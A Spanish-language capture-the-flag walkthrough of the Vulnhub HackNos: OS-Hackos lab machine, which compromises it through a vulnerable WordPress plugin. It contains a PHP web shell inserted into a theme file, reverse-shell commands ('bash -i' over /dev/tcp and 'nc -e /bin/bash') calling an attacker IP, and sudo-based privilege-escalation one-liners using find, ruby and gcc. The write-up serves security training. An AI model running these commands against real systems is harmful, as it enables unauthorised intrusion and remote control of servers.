Vulnhub-HackNos:OS-Hackos CTF Walkthrough

 


Una máquina de nivel fácil a intermedio, está máquina esta orientada a la explotación de aplicación web, enumeración y escalada de privilegio.

Como primer paso con la herramienta NetDiscover realizaré un reconocimiento de red, para identificar la máquina objetivo.
netdiscover
Como se muestra en la imagen anterior la dirección IP 192.168.50.158 pertenece a nuestra máquina objetivo.

Al cargar la dirección IP 192.168.50.158 en nuestro navegador web se muestra la página web index de apache en ella se muestra información sensible.
apache index
Al cargar la ruta en el navegador web 192.168.50.158/g@web se nos muestra el siguiente contenido.
g@web
Con la herramienta whatweb intentaré de obtener mayor información del sitio web.
whatweb
Como se muestra en la imagen anterior el sitio web utiliza WordPress 5.3.17 para desplegar el sitio web.

Con esta información utilizaré la herramienta wpscan para escanear y obtener más información del sitio web.
wpscan
wpscan
La herramienta wpscan enumero un usuario wp-local y también enumero un plugin llamado wp-support-plus-responsive-ticket-system.

Buscare con la herramienta searchsploit alguna vulnerabilidad conocida para el plugin wp-support-plus-responsive-ticket-system.
searchsploit
Hay vulnerabilidades conocidas para el plugin, de momento dejaremos de lado esto para explorar el directorio wp-json/wp/v2/users.
wp-json
Nota: En junio de 2013, surge como proyecto por parte de Ryan McCue y Rachel Baker de WordPress, distribuir una API REST para WordPress, el proyecto fue publicado en GitHub. En diciembre de 2015 el proyecto se agregó al núcleo de WordPress.

Al analizar el archivo hay un mensaje que no indica “¡¡Puedes actualizar tu shell usando hackNos@9012!!”

Con esta información comencemos a probar los exploit encontrados anteriormente, para este caso probare el exploit para escalar privilegios.
exploit
En la descripción del exploit indica que, puedes loguearte con cualquier usuario sin conocer la contraseña debido al uso incorrecto de wp_set_auth_cookie().

Lo primero que haré es crear un archivo llamado index.html, copiaré el código html desde la etiqueta <form></form> modificando algunos parámetros, como se muestra en la siguiente imagen.
modify form
Los datos a modificar se encuentran marcado con un rectángulo de color rojo, el primer parámetro a modificar es el atributo action del formulario y el segundo parámetro es el atributo value en el debemos poner el nombre de usuario que enumeramos con la herramienta wpscan.

Lo segundo que debemos hacer es levantar un servidor web en nuestra máquina atacante, en mi caso utilizaré el módulo http.server de Python.
servidor web python
Desde nuestro navegador web ingresamos a localhost o a la dirección IP 127.0.0.1 se nos muestra nuestro formulario web.
index.html
Ahora damos clic en el botón login. esto enviará al servidor web donde se está ejecutando WordPress, como respuesta del servidor será una página en blanco.
response-server
Ahora ingresamos a la siguiente página de WordPress: http://192.168.50.158/g@web/wp-admin/
admin panel WordPress
Como se muestra en la imagen anterior accedimos al panel de administración de WordPress para el usuario wp-local. Ahora debemos saber que permisos tiene el usuario wp-local.
rol user wordpress
Como se muestra en la imagen anterior el usuario wp-local tiene un rol asignado de administrador. Este rol nos permite editar los template que se están ejecutando en WordPress.

Cabe mencionar, que WordPress es un CMS (Content Management System) Sistema de Gestión de Contenidos y está programado en el lenguaje de programación PHP. Por lo tanto, con los permisos de administración del usuario wp-local, podemos editar el template (plantilla) que se está ejecutando actualmente en WorPress para ganar acceso a la máquina.

Para editar la plantilla debemos ingresar al menú "Appearance - Theme Editor".
mneu editor
En mi caso seleccionaré la edición de "header" del template.
Theme File
Ingresaré el siguiente código “echo(system($_GET['cmd']));” entre las etiquetas <?php y ?>, para ejecutar comandos en el servidor, como se muestra en la siguiente imagen.
“echo(system($_GET['cmd']));”
Una vez agregado el código anterior guardamos los cambios haciendo clic en el botón “Update File” en la parte inferior de la página. Si todo va bien se nos mostrará un mensaje “File edited successfully.”.
update file WordPress
Ahora debemos probar nuestro código para ejecutar comandos, ingresando el siguiente comando en nuestro navegador web “192.168.50.158/g@web/?cmd=ls -l”.
command injection
Como se muestra en la imagen pareciera que el comando ls -l de Linux no se ejecutó ya que no muestra nada en la página web. Bueno, en el código fuente de la página web se muestra el resultado de la ejecución del comando ls -l.
exec-command
Nuestro código funciona, ahora necesitamos tener un mayor acceso al servidor web.

Para poder tener este acceso al servidor aprovechando nuestro código que nos permite ejecutar comandos en el servidor, ejecutaremos el siguiente comando en el lado del servidor bash -c “bash -i > & /dev/tcp/192.168.50.35/443 0> & 1”, por el lado de la máquina atacante ejecutaré la herramienta netcat con el siguiente comando nc -lnvp 443.
bash -c “bash -i > & /dev/tcp/192.168.50.35/443 0> & 1”
En nuestra máquina deberíamos recibir una conexión reversa, es decir, una conexión desde el servidor a nuestro máquina atacante.
nc -lnvp 443
Como se muestra en la imagen no se recibió ninguna conexión desde el servidor, probablemente se esté ejecutando en el servidor un firewall.

Comprobaré si está instalada la herramienta netcat en el servidor web, ejecutaré el siguiente comando de Linux para saber si la herramienta está instalada “which nc”.
which nc
Como se muestra en la imagen la herramienta nc en el servidor web se encuentra instalada, por lo tanto, ejecutaré el siguiente comando nc -e /bin/bash 192.168.50.35 443 en el navegador web.
nc -lnvp 443
Como se muestra en la imagen anterior recibimos una conexión desde el servidor a nuestra máquina atacante.

Ahora lo que haré será listar los usuarios que tengan asignada un bash.
cat /etc/passwd |grep bash
En la imagen anterior se muestra que hay 4 usuarios que tienen asignado una bash. Ahora lo que haré será probar hackNos@9012!!, como password para cada usuario.
wp-json
El usuario security tiene la password hackNos@9012!!, revisaré los permisos del usuario security.
permission security
Como se muestra en la imagen anterior podemos ejecutar el comando de Linux "find" como el usuario hacknos-boat (nota: el nombre de usuario es hackNos-boat, “N” mayúscula).

Por lo tanto, podríamos ejecutar el siguiente comando “sudo -u hackNos find . -exec /bin/bash \; quit”. Cabe mencionar, que el comando find nos permite ejecutar comandos.
command find
Como se muestra en la imagen anterior ahora somos el usuario hackNos-boat, revisaré los permisos del usuario hackNos-boat.
hackNos-boat
Ahora podemos ejecutar Ruby como el usuario hunter. Por lo tanto, podemos ejecutar el siguiente comando "sudo -u hunter ruby -e ‘exec "/bin/bash"’". Con el comando anterior obtendremos una bash como el usuario hunter.
hunter user
Nuevamente revisaré los permisos para el usuario hunter.
permission hunter
Como se muestra en la imagen anterior el usuario hunter puede ejecutar el compilador gcc como cualquier usuario del sistema (ALL), por lo tanto, podría ejecutar el comando gcc para obtener una bash como el usuario root.
user-hunter
Ahora somos usuario root, me cambiaré al directorio /root donde se encuentra la flag (Bandera).
root.txt
flag
Happy Hack!!!

Comentarios